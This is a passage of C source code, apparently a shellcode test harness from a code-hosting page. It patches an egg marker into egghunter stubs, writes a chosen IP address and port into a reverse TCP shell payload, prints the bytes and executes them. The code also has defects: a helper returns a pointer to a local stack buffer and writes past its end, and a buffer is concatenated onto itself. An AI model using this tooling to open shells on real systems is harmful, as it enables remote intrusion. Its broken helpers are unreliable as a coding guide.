|
|
||||||
|
|
||||||
/* change egg if provided */
|
|
||||||
int eh_offset = 1; // default offset for access method (39 bytes)
|
|
||||||
if (eh == 1) eh_offset = 23; // offset for access revisited (37 bytes)
|
|
||||||
else if (eh ==2) eh_offset = 18; // offset for sigaction (32 bytes)
|
|
||||||
|
|
||||||
if (argc > 2) {
|
|
||||||
|
|
||||||
unsigned char* new_egg = argv[2], *s, *tmp;
|
|
||||||
printf("Changing egg to %s...\n", new_egg);
|
|
||||||
|
|
||||||
s = ConvertStrToHex(argv[2]);
|
|
||||||
tmp = s;
|
|
||||||
|
|
||||||
|
|
||||||
//fill buffer - 4 bytes of [egg], then concatenate additional 4 bytes of [egg] (8 bytes)
|
|
||||||
strcat(tmp, s);
|
|
||||||
if (strlen(argv[2]) == 4)
|
|
||||||
strcat(tmp, tmp);
|
|
||||||
|
|
||||||
//PrintShellcode(s);
|
|
||||||
change_shellcode_bytes(egghunter[eh], eh_offset, eh_offset+3, s);
|
|
||||||
change_shellcode_bytes(shellcode, 0, 7, tmp);
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("Egghunter %d, size %d\n", eh, strlen(egghunter[eh] ) );
|
|
||||||
printf("Egghunter shellcode: \n");
|
|
||||||
PrintShellcode(egghunter[eh]);
|
|
||||||
|
|
||||||
printf("\nReverse TCP Shellcode (%d bytes): \n", strlen(shellcode));
|
|
||||||
|
|
||||||
// change shellcode IP address
|
|
||||||
unsigned char *s2 = shellcode;
|
|
||||||
if (argc > 3)
|
|
||||||
{
|
|
||||||
printf("%s\n", argv[3]);
|
|
||||||
|
|
||||||
// convert IP address to binary representation and store in ipaddr.sin_addr.s_addr
|
|
||||||
struct sockaddr_in ipaddr;
|
|
||||||
inet_aton(argv[3], &ipaddr.sin_addr.s_addr);
|
|
||||||
|
|
||||||
|
|
||||||
int i = eggsize*2+26, a;
|
|
||||||
int e = i+3;
|
|
||||||
|
|
||||||
for (i, a = 0; i <= e; i++, a+=8)
|
|
||||||
{
|
|
||||||
s2[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ;
|
|
||||||
printf("Byte %d: %.02x\n", i, s2[i]);
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
// change shellcode Port
|
|
||||||
int port = 4444; //0x115c - default
|
|
||||||
|
|
||||||
if (argc > 4)
|
|
||||||
{
|
|
||||||
port = atoi(argv[4]);
|
|
||||||
unsigned int p1 = (port >> 8) & 0xff;
|
|
||||||
unsigned int p2 = port & 0xff;
|
|
||||||
s2[eggsize*2+32] = (unsigned char){p1};
|
|
||||||
s2[eggsize*2+33] = (unsigned char){p2};
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("Port %d\n", port);
|
|
||||||
PrintShellcode(s2);
|
|
||||||
|
|
||||||
printf("\n");
|
|
||||||
int (*ret)() = (int(*)())egghunter[eh];
|
|
||||||
|
|
||||||
ret();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
void change_shellcode_bytes(unsigned char* shellcode_n, int offset, int n, unsigned char* new)
|
|
||||||
{
|
|
||||||
int i, a;
|
|
||||||
for (i = offset, a = 0; i <= n; i++, a++)
|
|
||||||
shellcode_n[i] = (unsigned char) {new[a]};
|
|
||||||
// printf("Byte %d: %.02x\n", i, shellcode_n[i]);
|
|
||||||
}
|
|
||||||
|
|
||||||
void PrintShellcode(unsigned char* s)
|
|
||||||
{
|
|
||||||
printf("\"");
|
|
||||||
while (*s)
|
|
||||||
printf("\\x%.02x", (unsigned int) *s++);
|
|
||||||
|
|
||||||
printf("\"\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
unsigned char* ConvertStrToHex(unsigned char* s)
|
|
||||||
{
|
|
||||||
if (s[0] == '0' && s[1] == 'x') s += 2;
|
|
||||||
unsigned char buf[strlen(s)/2];
|
|
||||||
buf[strlen(s)/2] = '\0';
|
|
||||||
|
|
||||||
int len = sizeof(buf);
|
|
||||||
size_t count;
|
|
||||||
|
|
||||||
for (count = 0; count < len; count++) {
|
|
||||||
sscanf(s, "%2hhx", &buf[count]);
|
|
||||||
s += 2;
|
|
||||||
}
|
|
||||||
|
|
||||||
return buf;
|
|
||||||
}
|
|
||||||
Loading…
Add table
Reference in a new issue